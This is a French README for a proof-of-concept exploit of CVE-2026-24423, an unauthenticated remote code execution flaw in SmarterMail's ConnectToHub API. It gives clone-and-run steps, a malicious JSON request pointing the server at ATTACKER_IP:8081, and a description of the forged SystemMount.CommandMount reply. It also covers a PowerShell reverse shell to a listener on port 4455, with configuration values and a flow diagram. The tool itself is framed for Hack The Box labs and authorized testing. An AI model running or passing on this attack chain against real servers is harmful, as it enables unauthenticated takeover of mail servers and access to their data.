
PoC de RCE non authentifiée pour CVE-2026-24423 dans SmarterTools SmarterMail (ConnectToHub). Pour les tests de sécurité autorisés, les CTF et la recherche uniquement.
Un exploit basé sur Python pour CVE-2026-24423, une vulnérabilité d'exécution de code à distance non authentifiée dans la fonctionnalité ConnectToHub de SmarterTools SmarterMail.
Utilisation prévue : Tests de sécurité autorisés, CTFs, laboratoires Hack The Box et environnements de recherche contrôlés uniquement.
À utiliser uniquement contre des systèmes que vous possédez ou pour lesquels vous êtes explicitement autorisé à effectuer des tests. Voir SECURITY.md.
# 1. Clone
git clone https://github.com/CyberAlp0/SmarterMail-CVE-2026-24423.git
cd SmarterMail-CVE-2026-24423
# 2. (Optional) create a virtual environment — no third-party deps required
python3 -m venv .venv && source .venv/bin/activate
# 3. Configure LHOST / LPORT / HUB_PORT at the top of MalHub.py
# (see the Configuration section below)
# 4. Start your reverse-shell listener, then run the hub
python3 MalHub.py
Nécessite Python 3.6+ (bibliothèque standard uniquement). Procédure complète dans la section Utilisation ci-dessous.
CVE-2026-24423 est une vulnérabilité d'exécution de code à distance non authentifiée affectant SmarterTools SmarterMail.
La vulnérabilité existe dans la fonctionnalité ConnectToHub. Un attaquant non authentifié peut fournir un hubAddress malveillant, ce qui amène le serveur SmarterMail à effectuer une requête HTTP vers un serveur contrôlé par l'attaquant.
Le serveur malveillant répond avec une réponse setup-initial-connection forgée contenant une valeur SystemMount.CommandMount contrôlée.
L'instance SmarterMail vulnérable traite ensuite cette valeur comme une commande du système d'exploitation, permettant l'exécution de commandes arbitraires dans le contexte de sécurité du service SmarterMail.
La vulnérabilité a reçu un score CVSS 4.0 de 9.3 (Critique) et est classée comme CWE-306 : Authentification manquante pour une fonction critique.
| Champ | Valeur |
|---|---|
| CVE | CVE-2026-24423 |
| Éditeur | SmarterTools |
| Produit | SmarterMail |
| Vulnérabilité | Exécution de code à distance non authentifiée |
| CWE | CWE-306 |
| CVSS v4.0 | 9.3 Critique |
| CVSS v3.1 | 9.8 Critique |
| Vecteur d'attaque | Réseau |
| Authentification | Aucune |
| Interaction utilisateur | Aucune |
| Complexité | Faible |
| Publié | 23 janvier 2026 |
| Build corrigé | 9511 |
L'enregistrement officiel du CVE décrit le problème comme une RCE non authentifiée via la méthode API ConnectToHub.
Les versions de SmarterMail antérieures au Build 9511 sont affectées.
L'enregistrement du CVE spécifie la plage affectée comme suit :
SmarterMail < 100.0.9511
Le Build 9511, publié le 15 janvier 2026, contient le correctif de l'éditeur.
< 100.0.9511
>= 100.0.9511
Vérifiez toujours le build exact installé avant de tenter de reproduire la vulnérabilité.
La fonctionnalité vulnérable est exposée via l'API d'administration système de SmarterMail.
L'opération concernée est :
/api/v1/settings/sysadmin/connect-to-hub
Le point de terminaison accepte un paramètre hubAddress.
Conceptuellement, un attaquant peut fournir :
{
"hubAddress": "http://ATTACKER_IP:8081",
"oneTimePassword": "temporary-value",
"nodeName": "DC"
}
SmarterMail se connecte ensuite à l'adresse du hub fournie et demande :
/web/api/node-management/setup-initial-connection
Le serveur contrôlé par l'attaquant répond avec un JSON contenant un objet SystemMount malveillant.
La propriété importante est :
"SystemMount": {
"Enabled": true,
"ReadOnly": false,
"MountPath": "...",
"CommandMount": "..."
}
La valeur CommandMount est ensuite utilisée par l'application vulnérable comme une commande du système d'exploitation.
Cela permet à un attaquant de passer de :
Requête HTTP non authentifiée
à :
Exécution de commandes à distance
L'analyse technique de VulnCheck confirme que le hubAddress contrôlé par l'attaquant amène SmarterMail à demander le point de terminaison setup-initial-connection de l'attaquant et que le CommandMount retourné peut permettre l'exécution de commandes arbitraires.
L'exploit se compose de deux composants :
Le serveur Python écoute sur :
POST /web/api/node-management/setup-initial-connection
et renvoie une réponse JSON forgée contenant le SystemMount.CommandMount malveillant.
Un écouteur TCP séparé reçoit la connexion initiée par la commande exécutée sur la cible.
Cet exploit utilise intentionnellement deux ports séparés.
8081
└── Faux hub SmarterMail
4455
└── Écouteur de reverse shell
flowchart LR
A[Attacker<br/>10.10.14.50]
H[Fake SmarterMail Hub<br/>TCP/8081]
T[SmarterMail Target<br/>10.129.57.86]
C[CommandMount<br/>Command Execution]
P[PowerShell]
L[Reverse Shell Listener<br/>TCP/4455]
A -->|Trigger ConnectToHub| T
T -->|HTTP POST| H
H -->|Malicious JSON| T
T -->|CommandMount| C
C --> P
P -->|Reverse TCP| L
L --> A
Target
|
| HTTP
v
10.10.14.50:8081
Target
|
| TCP
v
10.10.14.50:4455
Ces ports ont des objectifs différents et ne doivent pas être confondus.
L'exploit utilise uniquement des modules de la bibliothèque standard Python :
http.server
json
base64
Aucun paquet Python externe n'est requis.
Modifiez les variables suivantes :
LHOST = "10.10.14.50"
LPORT = 4455
HUB_PORT = 8081
Pour l'environnement HTB d'exemple :
LHOST = 10.10.14.50
LPORT = 4455
HUB_PORT = 8081
LHOST est l'adresse IP de l'attaquant que la cible peut atteindre.
Pour Hack The Box, il s'agit normalement de l'IP attribuée à l'interface VPN HTB :
ip addr show tun0
Exemple :
tun0:
inet 10.10.14.50
Par conséquent :
LHOST = "10.10.14.50"